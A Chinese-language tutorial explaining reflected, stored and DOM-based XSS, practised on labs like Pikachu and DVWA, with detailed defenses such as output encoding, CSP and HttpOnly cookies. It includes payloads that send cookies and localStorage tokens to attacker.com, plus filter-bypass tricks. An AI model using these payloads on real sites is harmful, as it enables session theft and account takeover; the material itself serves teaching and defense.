首页/资讯中心/详情

Web安全实战：XSS跨站脚本攻击原理、类型与防御全解析

Web安全实战：XSS跨站脚本攻击原理、类型与防御全解析
📅 发布时间：2026/6/22 5:46:03

1. 项目概述：从“弹窗”到“劫持”，理解XSS的三种面孔

刚入行做安全测试那会儿，我最怕的就是XSS（跨站脚本攻击）。不是因为它多难，而是因为它太“狡猾”了。你以为它就是个弹个警告框的恶作剧，但老鸟会告诉你，它能偷走用户的登录凭证，能篡改页面内容进行钓鱼，甚至能控制你的浏览器。后来我花了大量时间在Pikachu、DVWA这些靶场上摸爬滚打，才真正把XSS的几种类型吃透。今天，我就结合这些实战经验，把反射型、存储型和DOM型这三种核心的XSS攻击类型，掰开了、揉碎了讲清楚。无论你是正在学习Web安全的新手，还是想巩固知识体系的开发者，这篇文章都会带你绕过我当年踩过的坑，直击每种类型的原理、利用方式和防御关键。理解它们，不仅是通过安全测试的必备技能，更是构建健壮Web应用的第一道防线。

2. 核心攻击类型深度拆解：原理、场景与利用链

2.1 反射型XSS：一次性的“钓鱼钩”

反射型XSS，也叫非持久型XSS，是这三种里最“直白”的一种。它的攻击过程就像一次性的钓鱼：攻击者精心制作一个含有恶意脚本的链接，然后诱骗用户去点击。当用户点击这个链接，访问目标网站时，恶意脚本会作为请求的一部分（比如在URL参数里）发送给服务器。服务器在未做任何过滤或转义的情况下，直接将这个脚本“反射”回用户的浏览器页面中执行。

2.1.1 典型攻击场景与利用链想象一个常见的搜索功能。用户输入关键词，比如“安全测试”，提交后，页面会显示“您搜索的关键词是：安全测试”。如果后端代码这么写（以PHP为例）：

echo “您搜索的关键词是：” . $_GET[‘keyword’];

那么，攻击者就可以构造这样一个链接发送给受害者：

http://vulnerable-site.com/search.php?keyword=<script>alert(‘XSS’)</script>

用户点击后，页面就会弹出警告框。当然，实战中攻击者不会只弹个窗，他们可能会替换成窃取Cookie的脚本：

http://vulnerable-site.com/search.php?keyword=<script>new Image().src=‘http://attacker.com/steal?cookie=’+document.cookie;</script>

这样，用户的会话Cookie就会被悄无声息地发送到攻击者的服务器。

2.1.2 为什么它危险且常见？反射型XSS之所以常见，是因为它利用的是服务器对用户输入的直接回显，这种模式在Web应用中太普遍了：搜索框、错误信息显示、URL参数处理等等。它的危险性在于：

  1. 依赖社交工程：攻击链的生效需要用户主动点击恶意链接。这通常通过钓鱼邮件、论坛贴子、即时消息等渠道传播。
  2. 对服务器无污染：恶意脚本不存储在服务器上，只存在于那个特定的URL中。这意味着安全扫描器如果只爬取网站本身，可能无法发现此漏洞。
  3. 利用简单：构造一个payload（攻击载荷）并诱导点击，门槛相对较低。

实操心得：在Pikachu靶场的“反射型XSS(get)”关卡，你会深刻体会到这种攻击的构造过程。测试时，不要只满足于弹个alert(1)。尝试构造能盗取假Cookie的payload，并搭建一个简单的HTTP服务器（用Python的http.server模块就行）来接收“被盗”的数据，这能帮你完整理解攻击链。

2.2 存储型XSS：潜伏的“定时炸弹”

如果说反射型是“一次性钓鱼钩”，那存储型XSS就是埋藏在网站里的“定时炸弹”。攻击者将恶意脚本提交到目标网站的后端数据库（或其他存储介质）中，当其他用户浏览到包含该恶意数据的页面时，脚本就会自动执行。因为恶意数据被“存储”在了服务器上，所以它影响的是所有访问相关页面的用户。

2.2.1 典型攻击场景与利用链最经典的场景就是网站的用户交互功能：博客评论、论坛帖子、用户昵称、留言板、商品评价等。 例如，一个论坛的评论功能没有过滤，攻击者提交了如下评论内容：

这篇文章真棒！<script>fetch(‘http://attacker.com/steal?data=’ + localStorage.getItem(‘token’))</script>

这条评论被保存到数据库。之后，任何用户（包括管理员）浏览这个帖子时，这段脚本都会在他们的浏览器中执行，窃取他们的本地存储令牌并发送给攻击者。

2.2.2 危害升级：从普通用户到管理员存储型XSS的危害性远大于反射型：

  1. 持久化：一次注入，长期有效，只要恶意数据不被清理，就会持续攻击所有访客。
  2. 传播范围广：无需诱导用户点击特定链接，正常访问网站就会中招。
  3. 危害升级路径：如果攻击者能诱使网站管理员浏览到被污染的页面（例如，通过一个被注入恶意脚本的普通用户帖子），就可能窃取管理员Cookie，进而获取网站后台权限，实现“跨站”到“站内”的权限提升。

注意事项：测试存储型XSS时（比如在Pikachu的存储型XSS关卡），一定要注意测试环境隔离。切勿在公司或生产环境的任何系统中尝试。你的测试payload可能会被其他无辜的测试者或爬虫触发，造成意外影响。始终在完全可控的本地靶场或隔离虚拟机中进行。

2.3 DOM型XSS：纯前端的“影子杀手”

DOM型XSS是一种比较特殊的类型，它的恶意代码执行完全发生在客户端的浏览器中，不经过服务器端的处理。漏洞的根源在于，前端JavaScript代码不安全地操作了DOM（文档对象模型），将用户可控的数据当成了可执行的代码。

**2.3.1 原理剖析：客户端脚本的“信任危机” 攻击流程通常是：

  1. 攻击者构造一个含有恶意片段的URL（通常利用#后的hash片段或参数）。
  2. 用户访问该URL。
  3. 页面中的JavaScript代码（例如，使用location.hash、document.URL、window.name等获取用户输入）未经安全处理，就直接通过innerHTML、document.write()、eval()等危险方法写入页面DOM。
  4. 恶意脚本被浏览器解析并执行。

一个简单的漏洞代码示例：

<script> var hash = window.location.hash.substring(1); document.getElementById(‘message’).innerHTML = ‘欢迎，’ + hash; </script> <div id=“message”></div>

如果用户访问的URL是：

http://example.com/page.html#<img src=1 onerror=“alert(‘XSS’)”>

那么<img>标签就会被写入id=“message”的div中，其onerror事件触发，执行恶意代码。

2.3.2 为何难以检测和防御？DOM型XSS之所以棘手，是因为：

  1. 服务器“看不见”：恶意payload可能只存在于URL的hash部分（#之后），这部分内容不会发送到服务器。因此，传统的服务端输入过滤和WAF（Web应用防火墙）可能完全失效。
  2. 依赖代码审计：必须仔细审查前端JavaScript代码，寻找那些将用户输入动态写入DOM的危险接收点（Sink），如innerHTML、outerHTML、document.write()、eval()、setTimeout()/setInterval()的第一个参数为字符串时等。
  3. 来源复杂：除了URL，攻击载荷还可能来自document.referrer、window.name、本地存储（LocalStorage）等，追踪源头更困难。

排查技巧：在审查代码时，重点关注所有将用户输入（来自location、document、表单字段等）传递给“危险DOM操作函数”或“能引发HTML解析的属性”的地方。使用Chrome DevTools的Sources面板和Debugger，可以一步步跟踪数据流，这是定位DOM型XSS最有效的方法之一。

3. 漏洞挖掘与利用实战要点

3.1 手工测试与Payload构造艺术

自动化工具能发现一些明显的XSS，但深度的、特别是DOM型XSS，往往需要手工测试。Payload（攻击载荷）的构造是一门艺术，核心思想是“绕过过滤，成功执行”。

3.1.1 基础Payload与事件处理器当<script>标签被过滤时，可以尝试利用HTML标签的事件属性（Event Handlers）：

<img src=“x” onerror=“alert(1)”> // 图片加载失败时执行 <body onload=“alert(1)”> // 页面加载时执行 <svg onload=“alert(1)”> // SVG标签事件 <input onfocus=“alert(1)” autofocus> // 输入框获取焦点时执行（需配合autofocus）

还可以利用javascript:伪协议：

<a href=“javascript:alert(1)”>点击我</a> <iframe src=“javascript:alert(1)”></iframe>

3.1.2 高级绕过技巧

  1. 大小写与嵌套绕过：如果过滤是大小写敏感的，尝试<ScRiPt>、<IMG SRC=1 ONERROR=alert(1)>。或者使用嵌套标签：<scr<script>ipt>alert(1)</scr</script>ipt>，如果过滤函数设计不当，移除中间的<script>后，两边的字符会拼合成新的<script>。
  2. 编码绕过：利用HTML实体编码、JS编码、URL编码等。
    • HTML实体编码：<和>被过滤？尝试&lt;script&gt;alert(1)&lt;/script&gt;，如果输出上下文在HTML标签属性内且未引号包裹，浏览器可能会解码。
    • JS编码：在<script>标签内，可以使用Unicode或十六进制编码：\u0061\u006c\u0065\u0072\u0074(1)等价于alert(1)。
    • 混合编码：组合多种编码方式，扰乱过滤器的识别逻辑。
  3. 利用非预期上下文：思考你的输入最终被放置在页面的哪个“上下文”（Context）中。是普通的HTML体？是HTML标签属性内？是JavaScript字符串里？还是CSS样式里？针对不同上下文，payload构造截然不同。
    • 在HTML属性内（被引号包围）：你需要先闭合引号，然后引入事件处理器：“ onmouseover=“alert(1) x=“
    • 在JavaScript字符串内：你需要先闭合字符串和语句，然后注入代码：’; alert(1); //

3.2 工具辅助与靶场演练

3.2.1 浏览器开发者工具是你的主战场

  • Console（控制台）：执行JavaScript，测试payload片段。
  • Sources（源代码）：调试JavaScript，设置断点，跟踪数据流，这是分析DOM型XSS的利器。
  • Network（网络）：观察请求和响应，查看payload是否被服务器修改，确认反射点。
  • Elements（元素）：实时查看和修改DOM，测试各种HTML/JS注入的效果。

3.2.2 靶场实战推荐

  1. Pikachu：非常适合新手入门，清晰地分设了反射型（GET/POST）、存储型、DOM型关卡，环境搭建简单。
  2. DVWA (Damn Vulnerable Web Application)：提供从低到高（Low, Medium, High, Impossible）的安全等级，可以让你看到不同防御级别下如何绕过。它的XSS关卡是经典中的经典。
  3. XSS挑战平台：例如 PortSwigger的 Web Security Academy（原XSS Labs），提供一系列由易到难的场景，专门训练各种绕过技巧。

实操心得：在靶场练习时，不要只追求“弹出对话框”。尝试实现完整的攻击链：写一个payload，将靶场的Cookie发送到你本地搭建的接收服务器。这会让你对XSS的实际危害有更直观的认识。同时，尝试在“High”或“Impossible”安全等级下进行挑战，思考防御逻辑的弱点在哪里。

4. 防御策略全景：从输入到渲染的全链路防护

防御XSS必须是多层次、全链路的，任何单一措施都可能被绕过。核心思想是：对不可信数据进行严格的上下文相关输出编码。

4.1 服务端防御（治本之策）

4.1.1 输入验证 vs. 输出编码这是一个关键区分：不要依赖输入验证来防止XSS。输入验证是为了保证业务逻辑的正确性（如邮箱格式、数字范围），而不是安全。安全的黄金法则是输出编码。

  • 错误做法：在输入时，试图过滤或移除所有可能的<script>、onerror等关键词。攻击者总有办法绕过黑名单。
  • 正确做法：在将数据输出到页面时，根据其所在的输出上下文，进行相应的编码。

4.1.2 上下文相关的输出编码

  1. 输出到HTML正文：进行HTML实体编码。将<、>、&、“、‘分别转换为&lt;、&gt;、&amp;、&quot;、&#x27;。在C#中，可以使用System.Web.HttpUtility.HtmlEncode()；在PHP中，使用htmlspecialchars($string, ENT_QUOTES, ‘UTF-8’)（注意第三个参数指定字符集，防止编码绕过）。
  2. 输出到HTML属性：同样进行HTML实体编码，并且始终用双引号包裹属性值。这可以防止攻击者闭合属性。
  3. 输出到JavaScript代码或JSON中：进行JavaScript编码。将数据放入引号内作为字符串字面量，并对字符串中的特殊字符进行转义，如\、‘、“、<、>等。许多现代Web框架的模板引擎会自动处理。
  4. 输出到URL参数：进行URL编码（encodeURIComponent）。

4.1.3 使用安全的API和框架

  • 避免使用innerHTML、outerHTML、document.write()。优先使用textContent或innerText来设置文本内容。
  • 如果必须动态生成HTML，使用经过安全审计的模板引擎（如React、Vue、Angular的默认模板语法都进行了自动转义），或者使用安全的DOM操作API，如document.createElement()、setAttribute()。
  • 对于富文本内容（如博客编辑器），必须使用严格的白名单策略进行净化（如使用DOMPurify这样的库），只允许安全的HTML标签和属性。

4.2 客户端加固与深度防御

4.2.1 内容安全策略 (CSP)CSP是一个重要的深度防御措施。它通过HTTP头Content-Security-Policy告诉浏览器，哪些来源的资源（脚本、样式、图片等）是可以加载和执行的。 一个严格的CSP头可以这样设置：

Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;

这个策略意味着：

  • default-src ‘self’：默认只允许加载同源资源。
  • script-src ‘self’ https://trusted.cdn.com：脚本只能从同源或指定的可信CDN加载，内联脚本（包括<script>标签和事件处理器）将不会执行。
  • object-src ‘none’：完全禁止<object>、<embed>、<applet>等标签，封堵一些老的攻击向量。 CSP能极大缓解XSS的影响，即使攻击者成功注入了脚本，如果脚本来源不在白名单内，浏览器也会拒绝执行。

4.2.2 设置HttpOnly和Secure Cookie标志为会话Cookie设置HttpOnly标志，可以阻止JavaScript通过document.cookieAPI访问它，这样即使发生XSS，攻击者也无法直接窃取Cookie。Secure标志要求Cookie只能通过HTTPS协议传输，防止在明文传输中被窃听。

Set-Cookie: sessionid=xxxxxx; HttpOnly; Secure; SameSite=Strict

SameSite=Strict或Lax还能提供额外的CSRF防护。

4.3 框架与库的最佳实践

以jQuery为例，早期版本（特别是1.x）在某些方法上存在XSS风险，例如：

  • $(‘#div’).html(userControlledData)：这是高危操作，相当于innerHTML。
  • $(‘<div>’ + userControlledData + ‘</div>’)：在构造函数中拼接字符串也是危险的。

安全做法：

  1. 升级jQuery：使用3.x以上版本，其对.html()等方法的安全性有所改善，但根本原则不变。
  2. 使用.text()代替.html()：如果只是显示文本，绝对使用$(‘#div’).text(userControlledData)。
  3. 避免字符串拼接构造DOM：使用.attr()方法安全设置属性，或先创建空元素再添加内容。
  4. 对来自第三方的数据保持警惕：即使是使用jQuery的AJAX加载的数据，在插入DOM前也要确认其安全性或进行编码。

对于C# ASP.NET等后端框架，要确保在Razor视图或其它模板中，使用@符号输出变量时，框架已经自动进行了HTML编码。对于需要输出原始HTML的情况（比如从Markdown转换而来），要使用@Html.Raw()并极其谨慎，确保内容已经过净化。

5. 常见问题排查与修复实录

在实际开发和渗透测试中，会遇到各种各样具体的问题。这里记录几个典型的场景和解决思路。

问题1：明明输入了<script>标签，但页面没弹窗，是没漏洞吗？不一定。首先，检查页面源代码（View Page Source），看你的payload是否被原样输出。如果被编码了（如&lt;script&gt;），说明服务端做了输出编码，是安全的。如果payload被完整输出但没执行，可能有以下原因：

  • CSP策略阻止：检查浏览器控制台（Console），看是否有CSP违规报告。
  • Payload被浏览器内置XSS过滤器拦截：现代浏览器如Chrome、Edge有反射型XSS过滤器，可以尝试调整payload结构绕过（但这不代表漏洞不存在，只是浏览器提供了缓解）。
  • Payload构造错误：检查语法，是否标签未闭合，事件名拼写错误，或上下文不对（比如把HTML payload放到了<script>标签内的JS字符串里）。

问题2：在富文本编辑器场景，如何安全地允许部分HTML？这是一个经典难题。绝对不能使用黑名单过滤。必须使用白名单净化库。

  1. 前端+后端双重净化：在前端使用如DOMPurify这样的库进行实时预览净化，在后端接收到数据后，必须再次用同样的白名单规则进行净化。永远不要信任前端提交的数据。
  2. 定义严格的白名单：只允许业务必须的标签（如<p>、<b>、<i>、<a>、<img>）和属性（如href、src、title），并且要对属性值进行校验（如href必须以http://或https://开头）。
  3. 禁用危险标签和属性：坚决禁止<script>、<style>、<iframe>、on*事件处理器、javascript:伪协议等。

问题3：修复了反射型XSS，但安全扫描器还是报DOM型XSS？这很可能是因为漏洞点在前端JavaScript代码中，服务端的修复对它无效。你需要：

  1. 定位数据流：找到URL中哪个参数（或hash）被JavaScript代码读取（如通过location.search、location.hash）。
  2. 跟踪接收点：跟踪这个数据最终被传递到了哪个“危险的DOM接收点”（如innerHTML、document.write、eval）。
  3. 实施客户端编码：在将数据传递给危险函数前，进行正确的编码。如果数据要作为HTML显示，使用.textContent或经过安全处理的文本插入方法；如果必须作为HTML，使用安全的净化库处理。

问题4：使用了最新框架（如React/Vue），是不是就高枕无忧了？大部分情况下是的，因为现代主流框架在默认情况下都会对模板中的动态绑定进行自动转义，有效防止了XSS。但是，安全漏洞往往出现在“例外”情况：

  • 使用v-html/dangerouslySetInnerHTML：这是框架留给你的“后门”，用于插入原始HTML。当你使用它时，框架的自动保护就失效了。你必须百分百确保传入的内容是安全的。
  • 在JSX/Vue模板中拼接URL或样式：如果拼接用户数据到href或style属性，仍可能造成属性注入。应使用框架提供的绑定语法，让框架来处理编码。
  • 与第三方不安全库集成：引入的第三方组件或库如果存在XSS漏洞，也会影响到你的应用。 因此，即使使用安全框架，代码审查和安全意识依然不可或缺。

理解反射型、存储型和DOM型XSS的差异，是构建有效防御体系的基石。反射型像精准投递的渔叉，存储型像潜伏的深水雷，而DOM型则像难以追踪的幽灵。对付它们，没有银弹，只有从设计、编码、测试到部署的全流程安全实践。在靶场里多动手，多构造，多绕过，你才能更深刻地理解攻击者的思路，从而写出更坚固的代码。记住，安全的本质是持续的风险管理，而非一劳永逸的解决方案。